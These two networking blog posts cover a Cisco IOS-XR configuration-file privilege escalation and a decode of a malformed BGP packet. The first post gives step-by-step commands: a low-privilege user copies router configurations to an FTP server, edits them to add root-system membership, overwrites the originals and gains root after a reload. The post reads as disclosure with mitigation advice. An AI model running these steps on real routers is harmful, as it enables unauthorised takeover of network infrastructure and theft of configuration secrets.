So, for the "sh int" command you need to have access to the "interface (READ)" Task ID. Keep in mind that Task IDs grant permission to perform certain tasks; Task IDs do not deny permission to perform tasks.
2) You create a new Task Group and put the above Task Id under it.
taskgroup TEST-TASKGROUP task read interfaces
3) You create a new User Group and put the above Task Group under it.
usergroup TEST-USERGROUP taskgroup TEST-TASKGROUP
4) You create a new user and put the above User Group under it.
username TESTUSER group TEST-USERGROUP
Now, when the above user logs in, he will have access only to specific commands that are associated with this Task ID (plus some others which are enabled by default). Also, he will be able to see the configuration of all interfaces.
Before the Task ID was enabled:
RP/0/RSP0/CPU0:asr9k#sh int ? % This command is not authorized
After the Task ID was enabled:
RP/0/RSP0/CPU0:asr9k#sh int ? ATM ATM Network Interface(s) Bundle-Ether Aggregated Ethernet interface(s) Bundle-POS Aggregated POS interface(s) FastEthernet FastEthernet/IEEE 802.3 interface(s) GigabitEthernet GigabitEthernet/IEEE 802.3 interface(s) ...
IOS-XR uses at least 2 running configurations on the ASR9000. The first one is called admin running configuration and you have to enter admin EXEC mode in order to view or change it. The other is called SDR running configuration and it is like the one that IOS uses (actually you have one running configuration per Secure Domain Router (SDR), but only one SDR is available on the ASR9000).
Only users with root-system privileges can access the administration modes by logging in to the RSP for the owner SDR (called the designated shelf controller (DSC)). Administration modes are used to view and manage system-wide resources and logs. Users with root-system privileges have access to system-wide features and resources. The root-system user is created during the initial boot and configuration of the router.
Now, let's suppose you are a root user and you want to allow a user to check the contents of a directory or a file. The "filesystem" Task ID is the one that will allow the user to execute the "dir" and "more" commands.
RP/0/RSP0/CPU0:asr9k#describe more nvram:classic-rommon-var ... User needs ALL of the following taskids: filesystem (EXECUTE) ...
The following user is allowed to do only that.
RP/0/RSP0/CPU0:asr9k#sh user test RP/0/RSP0/CPU0:asr9k#sh user tasks Task: filesystem : EXECUTE
With a little bit of searching on the available filesystems, you'll find out that this particular user can also view both the SDR and admin configurations in their full glory! These files are stored in clear text (ASCII) too, so everyone with access on the execute operation of the filesystem Task ID can also have access to their contents.
RP/0/RSP0/CPU0:asr9k#dir disk0:config/admin Directory of disk0:/config/admin 6810 -rw- 416 Sat Sep 11 18:32:51 2010 admin_nonlr.bin 6811 -rw- 416 Sat Sep 11 18:32:51 2010 admin.bin 9418222 -rwx 307 Sat Sep 11 17:37:09 2010 admin.cfg 6813 -rwx 307 Sat Sep 11 18:32:50 2010 last_used.cfg 1644150784 bytes total (1175237120 bytes free) RP/0/RSP0/CPU0:asr9k#more disk0:config/admin/admin.cfg !! IOS XR Admin Configuration 3.9.1 ... RP/0/RSP0/CPU0:asr9k#dir disk0:config/running/alternate_cfg Directory of disk0:/config/running/alternate_cfg 3991330 -rwx 11312 Sun Sep 12 01:53:25 2010 router.cfg 3991331 -rwx 7558 Tue Sep 7 22:09:15 2010 last_used.cfg RP/0/RSP0/CPU0:asr9k#more disk0:config/running/alternate_cfg/router.cfg !! IOS XR Configuration 3.9.1 !! Last configuration change at Sun Sep 12 00:50:30 2010 by xxx ...
The above is not exactly the running configuration, it's like a "backup" one (or a secondary one) which seems to get synced to the actual (or primary) running configuration in special cases, like when you do a reload or activate a package. You can find the actual SDR configuration (in clear text too) under "disk0:/config/lr/running/nvgen" split in various parts:
RP/0/RSP0/CPU0:asr9k#dir disk0:config/lr/running/nvgen Directory of disk0:/config/lr/running/nvgen 3992098 -rw- 100 Sun Sep 12 21:47:51 2010 nv_cur.cfg 3992099 -rw- 0 Sun Sep 12 21:20:11 2010 sh_admin.cf2 3992100 -rw- 1358 Sun Sep 12 21:47:50 2010 sh_os.cf2 3992101 -rw- 3220 Sun Sep 12 21:20:11 2010 sh_base.cf2 3858651 -rw- 0 Sun Sep 12 21:20:11 2010 sh_base_placed.cf2 3858657 -rw- 74 Sun Sep 12 21:47:50 2010 sh_p_domain_services.cf2 3992104 -rw- 4 Sun Sep 12 21:47:50 2010 sh_p_cdp_mgr.cf2 3858658 -rw- 0 Sun Sep 12 21:20:11 2010 sh_p_ip_expl_paths_daemon.cf2 3858659 -rw- 0 Sun Sep 12 21:20:11 2010 sh_p_rt_check_mgr.cf2 3858660 -rw- 0 Sun Sep 12 21:20:11 2010 sh_p_ipv4_rib.cf2 3992108 -rw- 28 Sun Sep 12 21:47:51 2010 sh_p_arp_gmp.cf2 ...
i.e. to see the current access lists:
RP/0/RSP0/CPU0:asr9k#more disk0:config/lr/running/nvgen/sh_fwd_acl.cf2 ipv4 access-list 9 10 permit ipv4 10.21.8.0 0.0.0.255 any ....
In case you have some level 7 passwords into the running configuration (something you should avoid doing since you have the "secret" option), then you're probably risking a lot, because these can be easily decrypted. Luckily, admin configuration doesn't allow such passwords.
What is more interesting is that the execute permission of the filesystem Task ID allows the user to also copy/overwrite a file (some configuration files are not allowed to be deleted, while some others are recreated "automatically" while doing a reload).
Here comes the tricky part...
There are some variables in ROM Monitor mode, that you can use in order to change the paths and names of configuration files, bypassing the normal startup procedure which by default loads the primary (binary) configuration.
i.e. permanently change the location of the default admin configuration file:
IOX_ADMIN_CONFIG_FILE=drive:path/file
i.e. permanently change the location of the router configuration file:
IOX_CONFIG_FILE=drive:path/file
i.e. permanently change the default location where configuration files are saved:
IOX_CONFIG_MEDIUM=drive:path
Using the "set" command while in rommon will display their current values:
rommon B1> set ... IOX_ADMIN_CONFIG_FILE= IOX_CONFIG_FILE= IOX_CONFIG_MEDIUM= ...
Again, all the above rommon variables are saved in clear text too, so the test user can still find them by simply executing the "more" command from the CLI.
RP/0/RSP0/CPU0:asr9k#more nvram:classic-rommon-var PS1 = rommon !> , IOX_ADMIN_CONFIG_FILE = , BOOT_DEV_SEQ_CONF = disk0:;disk1:, MIRROR_ENABLE = Y, TFTP_VERBOSE = 0, TFTP_RETRY_COUNT = 4, TFTP_TIMEOUT = 6000, TFTP_CHECKSUM = 0, TFTP_MGMT_INTF = 0, TURBOBOOT = , ? = 0, IP_ADDRESS = 10.200.73.34, IP_SUBNET_MASK = 255.255.255.252, DEFAULT_GATEWAY = 10.200.73.33, TFTP_SERVER = 10.21.8.24, ReloadReason = 1, BSI = 0, BOOT_DEV_SEQ_OPER = disk0:, BOOT = disk0:asr9k-os-mbi-3.9.1.CSCtg50404-1.0.0/mbiasr9k-rp.vm,1;, confreg = 0x2102^@
Now let's change IOX_CONFIG_FILE to point to a new configuration file. It doesn't really matter where the file is saved.
rommon B2> IOX_CONFIG_FILE=disk0:running-config rommon B3> sync rommon B4> reset
Nothing different until now. The test user can still find and see the running-config as "expected":
RP/0/RSP0/CPU0:asr9k#more nvram:classic-rommon-var PS1 = rommon !> , IOX_ADMIN_CONFIG_FILE = , BOOT_DEV_SEQ_CONF = disk0:;disk1:, MIRROR_ENABLE = Y, TFTP_VERBOSE = 0, TFTP_RETRY_COUNT = 4, TFTP_TIMEOUT = 6000, TFTP_CHECKSUM = 0, TFTP_MGMT_INTF = 0, TURBOBOOT = , IP_ADDRESS = 10.200.73.34, IP_SUBNET_MASK = 255.255.255.252, DEFAULT_GATEWAY = 10.200.73.33, TFTP_SERVER = 10.21.8.24, ReloadReason = 1, ? = 0, IOX_CONFIG_FILE = disk0:running-config, BSI = 0, BOOT_DEV_SEQ_OPER = disk0:, BOOT = disk0:asr9k-os-mbi-3.9.1.CSCtg50404-1.0.0/mbiasr9k-rp.vm,1;, confreg = 0x2102^@ RP/0/RSP0/CPU0:asr9k#more disk0:running-config !! IOS XR Configuration 3.9.1 !! Last configuration change at Mon Sep 13 01:58:33 2010 by xxx ...
Test user is still a member of the TESTGROUP User Group, which has limited access.
RP/0/RSP0/CPU0:asr9k#sh user tasks Task: filesystem : EXECUTE
Step 1 : Test user copies the running configuration to a ftp server:
RP/0/RSP0/CPU0:asr9k#copy disk0:running-config ftp://10.21.8.24/test-config Destination filename [test-config]? Writing ftp://10.21.8.24/test-config C 11314 bytes copied in 0 sec
Step 2 : Test user changes the contents of the above file in order to make himself member of the root-system User Group and uploads it in the same path as the original configuration, overwriting it.
RP/0/RSP0/CPU0:asr9k#copy ftp://10.21.8.24/test-config disk0:running-config Destination filename [/disk0:/running-config]? Copy : Destination exists, overwrite ?[confirm] Accessing ftp://10.21.8.24/test-config C 11311 bytes copied in 0 sec
Step 3 : Test user verifies that his changes are actually on the uploaded file:
RP/0/RSP0/CPU0:asr9k#more disk0:running-config !! IOS XR Configuration 3.9.1 !! Last configuration change at Mon Sep 13 01:58:33 2010 by xxx ... username test group root-system
Step 4 : A little bit later a Root user makes a reload and voila! Test user gets root access!
RP/0/RSP0/CPU0:asr9k#sh user test RP/0/RSP0/CPU0:asr9k#sh user tasks Task: aaa : READ WRITE EXECUTE DEBUG Task: acl : READ WRITE EXECUTE DEBUG Task: admin : READ WRITE EXECUTE DEBUG Task: ancp : READ WRITE EXECUTE DEBUG Task: atm : READ WRITE EXECUTE DEBUG Task: basic-services : READ WRITE EXECUTE DEBUG Task: bcdl : READ WRITE EXECUTE DEBUG Task: bfd : READ WRITE EXECUTE DEBUG Task: bgp : READ WRITE EXECUTE DEBUG
The above happens only when you have set the rommon variable to use a different configuration file.
Exactly the same thing can happen for the admin configuration too. It's even easier there, because you can just upload a new file and overwrite the current one, without having to change the rommon variables. Then you'll get root access to the admin mode, which means you have admin access to the SDR too.
! check our current user credentials RP/0/RSP0/CPU0:asr9k#sh user task Task: filesystem : EXECUTE ! no admin access is allowed RP/0/RSP0/CPU0:asr9k#admin % This command is not authorized ! view the current admin config file RP/0/RSP0/CPU0:asr9k#more disk0:config/admin/admin.cfg !! IOS XR Admin Configuration 3.9.1 username root group root-system secret 5 xxx ! end ! transfer the admin config file to a ftp server RP/0/RSP0/CPU0:asr9k#copy disk0:config/admin/admin.cfg ftp://10.21.8.24/test-config Destination filename [test-config]? Writing ftp://10.21.8.24/test-config C 384 bytes copied in 0 sec ! edit the admin config file and add a 2nd root user !! IOS XR Admin Configuration 3.9.1 username root group root-system secret 5 xxx ! username test-root group root-system secret 5 xxx ! end ! upload the new admin config file and overwrite the old one RP/0/RSP0/CPU0:asr9k#copy ftp://10.21.8.24/test-config disk0:config/admin/admin.cfg Destination filename [/disk0:/config/admin/admin.cfg]? Copy : Destination exists, overwrite ?[confirm] Accessing ftp://10.21.8.24/test-config C 465 bytes copied in 0 sec ! view the new admin config file RP/0/RSP0/CPU0:asr9k#more disk0:config/admin/admin.cfg !! IOS XR Admin Configuration 3.9.1 username root group root-system secret 5 xxx ! username test-root group root-system secret 5 xxx ! end ! wait for the admin (or persuade him) to make a reload ... ! test the new root account ;) RP/0/RSP0/CPU0:asr9k#sh user test-root RP/0/RSP0/CPU0:asr9k#sh user task Task: aaa : READ WRITE EXECUTE DEBUG Task: acl : READ WRITE EXECUTE DEBUG Task: admin : READ WRITE EXECUTE DEBUG Task: ancp : READ WRITE EXECUTE DEBUG Task: atm : READ WRITE EXECUTE DEBUG Task: basic-services : READ WRITE EXECUTE DEBUG Task: bcdl : READ WRITE EXECUTE DEBUG ... ! admin access is now allowed RP/0/RSP0/CPU0:asr9k#admin RP/0/RSP0/CPU0:asr9k(admin)#
What seems strange to me is that the primary configuration in IOS-XR is stored in binary (SysDB) format (you can find it in the same path as above) and the secondary one (which is in ASCII format) should be used only in case of emergency (corruption?). I guess a possible inconsistency between these 2 configurations after the reload, makes the ASCII configuration override the binary one. Keep in mind that while doing the reload, there are no warning messages about configuration inconsistencies.
Admin mode
If the actual admin executes "clear configuration inconsistency" or "cfs check" while in admin mode, the ASCII configuration you just uploaded will be updated by the current running configuration, so the changes will be lost. But, if a reload is executed from admin mode without first giving the above commands, then the test user will get root access after the reload.
SDR mode
If a reload is executed while on SDR, regardless of whether the above two commands are executed too, then there won't be any effect on the admin configurations and the test user will again get root access after the reload. After all, how often do you use the admin EXEC mode?
Imho, filesystem permissions should get re-organized. Critical files or "dynamic" paths where critical files reside should be available under a new Task ID.
Until the above is fixed, you should not allow every user to use the filesystem Task ID, unless there is absolute need to give the above permissions.
If you want to have better control of your users' permissions you should think of using an external aaa server (i.e. tacacs) and apply attributes that restrict them in executing specific commands with specific arguments.
Notes:
1) The availability of configuration modes always depends on the software packages that are installed on your system and on the router platform that you are using.
2) You can find a list of all Task IDs under IOS-XR 4.0 and their required permissions here.
3) I'm sure someone else will know a lot more about the IOS-XR internals (after all, everything written above was found by one week's experimentation). Please feel free to submit any corrections.
4) If you happen to have some extra permissions regarding utilities, then you can probably modify the configuration files online, by using xargs,perl,vim.
Posted by Tassos at 03:02 3 comments
Saturday, August 28, 2010
Decoding the RIPE BGP experiment
A lot of you probably saw your BGP routers go crazy on Friday 27th of August in the morning, especially if you happened to have a CRS (or another router running IOS-XR, like a C12k or ASR9k) in your (or a near) network.
RIPE and Duke University decided to experiment with Quagga's BGP and the result was to make some routers reset their BGP sessions, because they were receiving malformed BGP update packets. Malformed packets were generated by other routers in the middle, not by the Quagga BGP daemon where the experiment started.
Error messages generated on BGP routers that had peerings with affected (i.e. IOS-XR) routers, were like the following:
%BGP-3-NOTIFICATION: sent to neighbor x.x.x.x 3/1 (update malformed) 188 bytes F0630BB8 00000000 00000000 00000000 00
BGP: x.x.x.x Bad attributes FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF 0118
0200 0000 FD40 0101 0040 0206 0202 0D1C 316E 4003 04C3 10A1 6180 0404 0000 0000 4005 0400 0000 3CC0 081C 0D1C 0002 0D1C 0016 0D1C 0056 0D1C
01F7 0D1C 029A 0D1C 0813 FDE8 FDDE F063 0BB8 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 185D AF90
According to BGP's RFC, the "3/1" in the error message translates to Code "UPDATE Message Error" and Subcode "Malformed Attribute List".
Wireshark offers an "easy" way to decode packets in ASCII format, as long as you feed them in the right way. The following perl script (which is based on my previous ciscodump2text) will convert the BGP packet included in the above Cisco error messages into a format that can be understood by Wireshark's text2pcap.
#!/opt/perl/bin/perl
#
# bgpdump2text v0.1
#
# Convert BGP packets included in Cisco BGP notification error messages
# to a special text format that can then be fed into text2pcap
# so a pcap file for Wireshark can be created at the end.
# You have to remove any extra characters included in the error messages.
#
# Copyright (C) 2010 Tassos (http://ccie-in-3-months.blogspot.com)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
@packets = ();
$first_line = 0;
while () {
$line = $_;
if ( ( $line =~ /^FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF/ ) || ( $first_line == 1 ) ) {
$first_line = 1;
$line =~ s/\s//g;
$packets[1] .= $line;
}
}
for ($i = 1; $i <= @packets; $i++) {
if ( exists $packets[$i] ) {
for ( $j = 0; $j < length($packets[$i]); $j += 2 ) {
if ( $j == 0 ) {
printf "# BGP Packet $i\n%08X", $j/2;
} elsif ( $j % 32 == 0 ) {
printf " #\n%08X", $j/2;
}
print " ".substr($packets[$i], $j, 2);
}
print " #\n";
}
}
print "\n";
By using as input a text file with the BGP packet as shown in the original error message, you'll get an output text file ready to be processed by text2pcap.
The format the source text file (test-bgp.text) should have is the following.
FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF 0118 0200 0000 FD40 0101 0040 0206 0202 0D1C
316E 4003 04C3 10A1 6180 0404 0000 0000 4005 0400 0000 3CC0 081C 0D1C 0002 0D1C 001
6 0D1C 0056 0D1C 01F7 0D1C 029A 0D1C 0813 FDE8 FDDE F063 0BB8 0000 0000 0000 0000 00
00 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0
000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 000
0 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 185D AF90
You just need to erase all extra characters from the original error message and it's ready. The actual data starts after the "Bad attributes" string. Keep in mind that the packet might have been spitted in more than one messages, like in the above case. Just remove the initial characters from every line and it'll be ok.
Script is executed like below:
tassos$ bgpdump2text test-bgp.text> test-bgp.txt
The generated text file (test-bgp.txt) will have the following contents:
# BGP Packet 1
00000000 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF #
00000010 01 18 02 00 00 00 FD 40 01 01 00 40 02 06 02 02 #
00000020 0D 1C 31 6E 40 03 04 C3 10 A1 61 80 04 04 00 00 #
00000030 00 00 40 05 04 00 00 00 3C C0 08 1C 0D 1C 00 02 #
00000040 0D 1C 00 16 0D 1C 00 56 0D 1C 01 F7 0D 1C 02 9A #
00000050 0D 1C 08 13 FD E8 FD DE F0 63 0B B8 00 00 00 00 #
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
000000A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
000000B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
000000C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
000000D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
000000E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
000000F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
00000110 00 00 00 00 18 5D AF 90 #
Note : right now, only one packet can be processed.
In our case (BGP data only) we need to add a L2 header, an IP header and a TCP header with values that resemble BGP, so we add the required parameters in the text2pcap program:
C:\Program Files\Wireshark>text2pcap.exe -T 179,1025 -d test-bgp.txt test-bgp.pcap
Input from: test-bgp.txt
Output to: test-bgp.pcap
Generate dummy Ethernet header: Protocol: 0x800
Generate dummy IP header: Protocol: 6
Generate dummy TCP header: Source port: 179. Dest port: 1025
Start new packet
Wrote packet of 280 bytes at 0
-------------------------
Read 1 potential packet, wrote 1 packet
Now, if you load this pcap file into Wireshark, you'll get the following output:
As you can clearly see, there was an unknown attribute (with Type Code 99) inserted into the UPDATE message with the following characteristics:
Flags: Optional, Transitive, Partial, Extended Length
Type code : 99
Length : 3000 bytes
The length of the BGP UPDATE message has been defined as 280 in the BGP header, having 253 as total path attribute length, so something went clearly wrong.
This unknown attribute should have a length of 3000 bytes as defined in its length attribute, but it was only 184 bytes if you count the octets from where zeros start (after 0x0BB8) till the end. From this number comes 188 (184 + 4 for Flags/TypeCode/Length), the number that's included in the initial error message.
So, the length of the unknown attribute has been defined as 3000 into the packet, which is 0x0BB8 in hex. If you somehow remove the first octet, then it becomes 0xB8, which is 184 in decimal. If you add the 4 extra bytes (Flags, Type code, Length), then it becomes 188 and the sum of all attributes becomes 253, which is the one shown in the packet too.
In reverse order, if you calculate the supposed total path attribute length in case all attributes were correct, then it should be 3069, which is 0x0BFD in hex. If again you somehow remove the first octet, it becomes 0xFD (253).
I guess, in general anything larger than 0xFF (255) would have caused the same issue too.
Cisco issued an advisory after some hours, providing fixes for its IOS-XR software.
Regarding the behavior of BGP, the relevant RFC (4271) says the following, so everything was expected:
NOTIFICATION messages are sent in response to errors or special conditions. If a connection encounters an error condition, a NOTIFICATION message is sent and the connection is closed.
...
A NOTIFICATION message is sent when an error condition is detected. The BGP connection is closed immediately after it is sent.
...
Error checking of an UPDATE message begins by examining the path attributes. If the Withdrawn Routes Length or Total Attribute Length is too large (i.e., if Withdrawn Routes Length + Total Attribute Length + 23 exceeds the message Length), then the Error Subcode MUST be set to Malformed Attribute List.
There is also a lot of discussion happening regarding the notification and reset thing after this event and draft-ietf-idr-optional-transitive seems quite interesting.
Links
http://mailman.nanog.org/pipermail/nanog/2010-August/024837.html
http://www.networkworld.com/news/2010/082710-research-experiment-disrupts-internet-for.html
http://www.renesys.com/blog/2010/08/house-of-cards.shtml
https://labs.ripe.net/Members/erik/ripe-ncc-and-duke-university-bgp-experiment/
Question
Is there a chance by creating "dummy" and large attributes to cause memory issues on BGP routers?